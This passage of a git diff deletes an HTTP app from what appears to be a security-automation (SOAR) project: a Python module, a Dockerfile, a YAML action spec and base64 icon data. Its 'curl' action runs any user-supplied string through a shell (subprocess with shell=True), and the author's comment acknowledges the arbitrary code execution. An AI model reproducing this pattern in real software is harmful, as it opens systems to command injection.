QAIE6jr9zQP1LKVNtRd6vVpewK9ZgnauE/Pz36oWvXqSozqaI369/2M2fsGm9kfRNajWJ6MgE4d6T42ZvWNSNh7sxjcBIqsTNGYOi/Xz40Wo8Cw9rZ7ULxNKPknxwnqXEHoGn1spGsJtuD1pa8j13SlzWUxG9EhGYkW/p8V/BkQKGriv4nLxvIGW5Gcv2anEIZ5HLXtrV37K/kDKyoyjykVNUjnQvl0g29pcBY532cJbrly898Z8dYOeenlj4lVxvmtuhwMbjrNy4sBjHZUBcFgvpyCy6v6muJ3gKAZHfo9w7Ovf+eE+UMR1YXyBRUGJhp2r++ad0bN/Za0Q754M1nDy0uw2vCOM16vH+y/vWnR4nIxYcuCg1jUwzMRyqysjhQ7Nw+gC4W8Et69vl/tbgnFKeK6SVSO2xd+pm8j6Ci8v9tn/YIIpJGxSlSBLQiXd3jv3Z1EQAzdZh/124aXNOXHa+FvlnYcE0sl/f5h46/7fyRnO/H2wWIPOhopTnTFCYMFvxyLjarzBirtmea1uOkVUUkqqWARgquCqyhlaOVkJcS0yW7rgoEjJXF+BKRyNFKe37dFJGV1T1+JmX9qhyrRqGgbWV9bxAkx90Ohu8fqjx6stYbeNZ25VvxvANlUDW0b1vT53TQEHkAiGBFe3P+TVuH/9cPjwwU/KgrF3P0LlHN+7x/ovF3Dx//wFXr3OYTVRBoumHf9sXnphr2TWf2/++bN4ubskJ8YKb5jq/tK2Y8Rz4zRLOhXLGq+OWbNzovUQ/1Hd8+VAnV43SAhibKn/4PB4fHmGnJWzeV/ueVI6Goz3RwNvqF7570TUITBeqRntmX+fsbl2uifUer4TvuPDFalxvW5P/iumWOuedWJrTy2ccnfeLu1MbJFikUJNC8obee1Zcu3LxmxDsvWdmT9aLu6LRTV9VItDdnbv/xsaPTDcc9YoJVPXO4+LHXr4Xq/YdmnxurUryVRy5b1XP9ht5KKwqYDIgIBY8OTLdmm9Zxyfpy3qa+TDsSj8BKDJASK1jBUAJIlRQEdbVxUZw/lE1vaudUsxZZQ3AdZENoW/mVc0ouFnV567f2VY7ORetL3scvH0qIe/Feki/smHp2tJH3yAUMiVipSwcYqDbt5SuL5y0rpDSOGCz38GcMFW44c7DajBZsRU0tl0c024g+cfe+tFzoMVvRm88Zef8VK45MN77wxJiLRd1mhd+8fLnPJCpQUdWAMVkLd082AbgluXBZLrRCgPND8UQBcalivGEAKlCJIskbPW8wSJf2qfFmnHGrEnSmaS8eyV6/pigqDDAw24q+vmeuaPBnVw0PJpQpV6Q7Mtf83GOTpYCjBCmoUNyAFoWQClTfvW0QSXkdWLSF7pYrVgfePJvVCVBVrWhfzv+/z03+01MnDFO8m4nJqn74urW/dMGyv3v05MGphvOWVvTskcI7zxuYqoUeQwUEall54mQtPflrVhQ8UtG4+t0pz1iIRXf1oRHZVUVvQzlQt0VV5OmxZsCudiiu3PihC/qZGHADluiLz00/N9H89LXD54/kbZLcuIX46P2js+3I49hIpaV3UgHUU6q15KLl+avX9jj+z0KwnHCdv6r3jVuHZhtht3B11wOsaE/G/MFdB/ZP1BxeFBNs8Bdv2XTZ6t7fv/uAS1BdiPxbV6xY35ept8WQqqpP9MjxKgA3h2bbcG5FwWu51nRXGbczrEIgFqSot+WikZzPJrJKwJFKeHCmlWGNrBhgvB6+a2vP+SN5qwDIEMbq4W2PTd567fI3biiHIu6BrajHfPuTY/ccqpYDE8V2XeapoYCgkchvXDximLr3Sy+ULAU+eN2GYmBkUV4dK6OIx1Rv2/d/Y2cjjLqyawoMf+WdW5uhfGfnmEnC0d6s/4fXr2mGLsOTnEfbR+uT9bYhikRLGe+i5flGS0y8bWfplyNdX7OqkNhgPHKyPtMIScHQ2Va4tT/4zYuGEvutAD7xo9H/ctHAu8/pj0RdZdWKekw/Ola59ZGJ/ixHViievuLyGuvkyzDm2vbqNaXXre8Vnbf1YR5YTrg2DxffdcnK6UbozReujnsWLWW8p49Xf/tbu5jIqmiy2yrnm394+9bdY43RSst1wiKRq9eVP3jF8rFqaIh8xmi1/cjxmiYV/Rs29Eq8vMkImaTy4JAioBnJipJ3yfIckjLWfUeqpICgHalH+NQ1I67IBYUheuDI3FUrc++/cCgScYetwjAdmG5+4O5jQbytJM1uJBYoBZFaUQ/021esWEwkWChZDBLFf7luwxkD+UZol6xzQTWyMpD3v/Hs+Mfv2usxu+aFK0gUAvOBK1dyUityHuA3r1jx1q39Y9W2zwTVf90/TUlX/eo1pVUlvxWKwwsST0FB4hYYWm3ba1fnS4EXiXqMiXr7sZONgsdWdLYlf3rNirMGC5Go21Qiqmf0Z96+td+KeOzGi6ghTNTDX/3u4UoryrALT0VVRSUpf6sCHnimbn9xW/95ywq20wk+DViOY1nOeR994xnNtl3cjErjkUh0qBD89YPH/+zeA4bJipseCVUEnjdUzKTBIhOJ0q03bbhufc/JSrucNT88XJlpRoZjTbxxY0+1FXkxP05UJSmQgCCiEjBu3tyLpNlx39HqWDUMDMYb4SdeO3zTxl4rSPWAiZYXM6JkOB7taohmmtF7vnPo0Eyz6HNo47IkqZCCNOZwsaLesmf0B7952cqUJf98YAFwZvvGrSM/f9HyqVp7aWVUdc5xKO//+X1H/uRfD3jMzpHRIla7Cy0zhv/2Zze9bl1puh6OVcN79s8kD4+fP3ug4LOosCqE4tKUiqoYRbVpX7M8d/6yQjo09jt754h0sh598rUjv3TuYCgyf2xZZyqpG4YzXgvf9e1DO0YbvYFpWxs/h8QwxfVzBSBtG33s2lU9GQPo4oxy6YkhzpF97KYtm4by9ZbtNnILTK8VHSz4tz1w5MPf2e2asjbJHBcIrChyvvn8zZveds7ATCP86rPjgLqF2TyYe+PG3pmG9ZgIQukeTVUFQpFbzh8ikFUwYe9U896Dc3mD265f8Z5tg6n9nne5xLZ6TPummm/7xr7tY7VylkIrLCBRdlEVACUIoOKRTtXCWy4euXp9uXtD5guD5dgPvTn/L37uHGKyqksm7ileQwX/Hx49+e4v7Ziotd3zL06RXT/KN+bTb9z4mTeuf/BI5e690+xuFfS+1ywreBzZJG6AQsUnzDai160tXbOuKG4wLvRTD55YVfS+evP6t2zpj7q0r/slCqvqMd13aPZt/7zv2GxYznAUKatSQpzUxA+qikeYaURXrin9zpUrreppd+Z87GMfOw1eZEVXlrNDxeBfnh3NB95SdGZKyLwoZcyusdpdOye2jpTW9GUJagUL1ocSob9wRena9T1PnqhcuKLkMQt0IO8T6V17pss5AwUre0yhikf0v960vi/nuXLYwenGeC383I3rVpYy6TyJBQroKCpM+NzDJ//bvcdVNe9TJB22UcKYivuCjgc+nPf+7ubNvdlOZWEJTHQJIei83A194s49n73/0HApG9kO+yLZ7xmXNN3ux0Ykovq+K9d84OpVgfGsKmGJmfbJmCqxQsn8LAD49W/v+/auqVLWqBAIbaufvWntzVsH0wS4FUZZ38NpJtyl06/2TdU/dt/xfztc6c8ZgETUjW9wkeL8DraKwFr9wn/cdMmqnuefn/VCk9ncvDHC+776zNefHhsqBWEXdzMdspNKmVuT6UZ0/srSR65ff9WGPgBWhIgWLJdoOscU6b032+En7zt6vGIDQy0rb95cftu5wwtmIi85z9Cquo3zrUg+/+TY7Y+OVUPbmzGukUEKxLP/OnUBJBvJqy37uTevf9OZAy84fPmFZ/6530civ/qlp+/cOTFUPA1endkI8A1X21ZU33z20HuvXL11pIg4Clw8haB7YZxPmmdGRZVPv9SutejFG7b1jt1Tf/3I2PaxRjnrttbFGHWvfUJWgwEINNOM/viGNe/YNrKkUr9ksJDIfCO0v/blZ7+3a8JxI55HvpBQTGcatpDx3rx14BcvXn7BypJzU1YVp0FNk9Ft6T8XK0VimzU9QzOy39s78/dPTTx+spIxXPA56sjQQmqJK9e7uQSzjfDj1699z0XLXgxSLxasdIXbkfznrz5zx/bxwWLQXfZagJej3JCbeiuYa0bZwFy+vuet5w5fs7G/r4srHrvNtIFDS9T10VUXoPn71PdNNr67Z/qO3VO7JxqB4WLAoouq1d17z+A2RSK02gjtJ29Y987zR1786POXMAHX4WVFfvubO7/42ImBQqDz1y1tcKS23/3omjq1tg0Vq8qZy9eWr91YvnBVcU05h9O0OJ6n99GKot0TjQePVO4/NPfUyfpsyxZ8zvnkmFmLtj2kZ4yTTcPUCIWgn75pw5vPGnxJQ+Jf2mzlmDIP/Pm9Bz997/6cz75nurtBne8JeJocMUTE1LJSD0WBvlywcTB3zkjhzJH8+v7c8p6gL+sVMp6bDZUsjzRCqbXtRD06PtvaN9l8bqz+3Hj96GyrEWpgqBAYz4V1mlKt5rWHNaUzAAA8pplGtLIn+PM3b7x0dc9LHaf/kqd2azLf/I7to7/37Z2zzagn67+gSnYfMUwghKKtSNsWCvUNFTKmGPjFDOd8N7WbItW21VrbVtu21pZGJFbhEWU8zph4WN7z9Ic6TYSYHQtSTNWjq9b33PqmM1b0ZF7GBw+8zOH57kp7x6q/882dDx6aKef9tHC6GC93qPNz8hY3f8+FqlZhgcgJg6omzQpmRwCIybwJySQpLWv3brKuWTPz9/EYRq0tIvKrly7/3WvWeMz/TvPgF+AVWrnt3gO3//hoM5LerJe0lGI8Ohz0rhEkCyBLh9clY4c7aowF7MEln6774KJHceM5ZxrR5sHc/7h+7bUb+3UeC//fCyx0BUFPHZv9w7v2PnBgOh94OZ9TyGi+QKXh2Hz2ftq6T1mLHasHINnIoKcDbMlfOC79XCvKGLzzomW/9drVbnrTT/JJPD/xp6Mkg3JV9UuPHf+rBw7vn2gUMibrLQ1Zt1ZinpQhDRziEmUsdV3TGYF0F5IjK4ibWJzeSWf/jNbaVkWv2VD+4NWrt62Ix3z+hB/A88p87k4qYjP18B8ePvqPj584PNXI+SYXGGjM7scCEXNskYV4JZh1JAzoAot0Xp1JOxIXj3SzqtWWZeCS1aVbLlv5+s0DOM0k7P9nYLlX6l+mau2vPnnya0+c2DVaY6J8YDw351ahiyDrpm0soSLzLJiz6NS944aST8pqRVJv20LAV6wrv+ui5a/b1I8u3/2KPOAr/Flh2vUhWI3Qfn/n+DefOfXw4dnJWtszlPM938RD9TpWuws7nX9kwa2m6Dnj5iZUtK00QmHCmr7sdRv7bj5v+PyVPfHivXIffPWqgLUYMgCHphr/umv8nj0TzxyvTNbaAmQ8znjGfUxM6vU699RBrYNnqopWJBRtW4msBoZX92UvWdN7w5bBK9eXSxkTXx2vMEyvIlgxZMknMKSh37HpxpNHZx85PP3syerRmeZMI2xZAOCYTZmQ/5AaecQU3IQtZIjyAQ8W/I2D+W0rS5es7jl3RU8pE/MXrSgRXiml+3cFK325ds2CKfon51qHJmr7Jur7J+pHZ5pjc63persRaWjVuqiTySPOGipkeLiYGenJrOnPbxzMbRoqrClnS9nOlv9kJupPEBS8uNf/DxrLmMA1V9rHAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTA4LTMwVDE1OjM4OjA2LTA0OjAwvtdu7gAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0wOC0zMFQxNTozODowNi0wNDowMM+K1lIAAAAASUVORK5CYII= diff --git a/http/1.0.0/requirements.txt b/http/1.0.0/requirements.txt deleted file mode 100644 index ae3e5391..00000000 --- a/http/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -uncurl==0.0.10 -requests==2.25.1 \ No newline at end of file diff --git a/http/1.0.0/src/app.py b/http/1.0.0/src/app.py deleted file mode 100755 index af48e5a8..00000000 --- a/http/1.0.0/src/app.py +++ /dev/null @@ -1,173 +0,0 @@ -import time -import json -import json -import random -import socket -import uncurl -import asyncio -import requests -import subprocess - -from walkoff_app_sdk.app_base import AppBase - -class HTTP(AppBase): - __version__ = "1.0.0" - app_name = "http" - - def __init__(self, redis, logger, console_logger=None): - print("INIT") - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is dangerously fun :) - # Do we care about arbitrary code execution here? - def curl(self, statement): - process = subprocess.Popen(statement, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True) - stdout = process.communicate() - item = "" - if len(stdout[0]) > 0: - print("Succesfully ran bash!") - item = stdout[0] - else: - print("FAILED to run bash!") - item = stdout[1] - - try: - ret = item.decode("utf-8") - return ret - except: - return item - - return item - #try: - # if not statement.startswith("curl "): - # statement = "curl %s" % statement - - # data = uncurl.parse(statement) - # request = eval(data) - # if isinstance(request, requests.models.Response): - # return request.text - # else: - # return "Unable to parse the curl parameter. Remember to start with curl " - #except: - # return "An error occurred during curl parsing" - - def splitheaders(self, headers): - parsed_headers = {} - if headers: - split_headers = headers.split("\n") - self.logger.info(split_headers) - for header in split_headers: - if ": " in header: - splititem = ": " - elif ":" in header: - splititem = ":" - elif "= " in header: - splititem = "= " - elif "=" in header: - splititem = "=" - else: - self.logger.info("Skipping header %s as its invalid" % header) - continue - - splitheader = header.split(splititem) - if len(splitheader) == 2: - parsed_headers[splitheader[0]] = splitheader[1] - else: - self.logger.info("Skipping header %s with split %s cus only one item" % (header, splititem)) - continue - - return parsed_headers - - def checkverify(self, verify): - if verify == None: - return False - elif verify: - return True - elif not verify: - return False - elif verify.lower().strip() == "false": - return False - else: - return True - - def checkbody(self, body): - # Indicates json - if body.strip().startswith("{"): - body = body.replace("\'", "\"") - - # Not sure if loading is necessary - # Seemed to work with plain string into data=body too, and not parsed json=body - #try: - # body = json.loads(body) - #except json.decoder.JSONDecodeError as e: - # return body - - return body - else: - return body - - def GET(self, url, headers="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - return requests.get(url, headers=parsed_headers, verify=verify).text - - def POST(self, url, headers="", body="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - body = self.checkbody(body) - return requests.post(url, headers=parsed_headers, data=body, verify=verify).text - - # UNTESTED BELOW HERE - def PUT(self, url, headers="", body="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - body = self.checkbody(body) - return requests.put(url, headers=parsed_headers, data=body, verify=verify).text - - def PATCH(self, url, headers="", body="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - body = self.checkbody(body) - return requests.patch(url, headers=parsed_headers, data=body, verify=verify).text - - def DELETE(self, url, headers="", body="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - return requests.delete(url, headers=parsed_headers, verify=verify).text - - def HEAD(self, url, headers="", body="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - body = self.checkbody(body) - return requests.head(url, headers=parsed_headers, verify=verify).text - - def OPTIONS(self, url, headers="", body="", verify=True): - parsed_headers = self.splitheaders(headers) - verify = self.checkverify(verify) - body = self.checkbody(body) - return requests.options(url, headers=parsed_headers, verify=verify).text - - -# Run the actual thing after we've checked params -def run(request): - print("Starting cloud!") - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - HTTP.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - HTTP.run() diff --git a/http/1.1.0/Dockerfile b/http/1.1.0/Dockerfile deleted file mode 100644 index 9bbc5110..00000000 --- a/http/1.1.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -RUN apk add curl - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/http/1.1.0/api.yaml b/http/1.1.0/api.yaml deleted file mode 100644 index bd622ff8..00000000 --- a/http/1.1.0/api.yaml +++ /dev/null @@ -1,365 +0,0 @@ -walkoff_version: 1.1.0 -app_version: 1.1.0 -name: http -description: HTTP app -tags: - - Testing - - HTTP -categories: - - Testing - - HTTP -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: GET - description: Runs a GET request towards the specified endpoint - parameters: - - name: url - description: The URL to get - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Check certificate - multiline: false - options: - - false - - true - required: false - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: POST - description: Runs a POST request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PATCH - description: Runs a PATCHrequest towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: PUT - description: Runs a PUT request towards the specified endpoint - parameters: - - name: url - description: The URL to PUT to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: body - description: The body to use - multiline: true - example: "{\n\t'json': 'blob'\n}" - required: false - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: DELETE - description: Runs a DELETE request towards the specified endpoint - parameters: - - name: url - description: The URL to post to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - true - - false - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: HEAD - description: Runs a HEAD request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: OPTIONS - description: Runs a OPTIONS request towards the specified endpoint - parameters: - - name: url - description: The URL to HEAD to - multiline: false - example: "https://example.com" - required: true - schema: - type: string - - name: headers - description: Headers to use - multiline: true - required: false - example: "Authorization: Bearer asd\nContent-Type: application/json" - schema: - type: string - - name: username - description: The username to use - multiline: false - required: false - example: "Username" - schema: - type: string - - name: password - description: The password to use - multiline: false - required: false - example: "*****" - schema: - type: string - - name: verify - description: Whether to check the certificate or not - multiline: false - required: false - options: - - false - - true - example: "false" - schema: - type: bool - returns: - schema: - type: string - example: "404 NOT FOUND" - - name: curl - description: Run a curl command - parameters: - - name: statement - description: The curl command to run - multiline: true - example: "curl https://example.com" - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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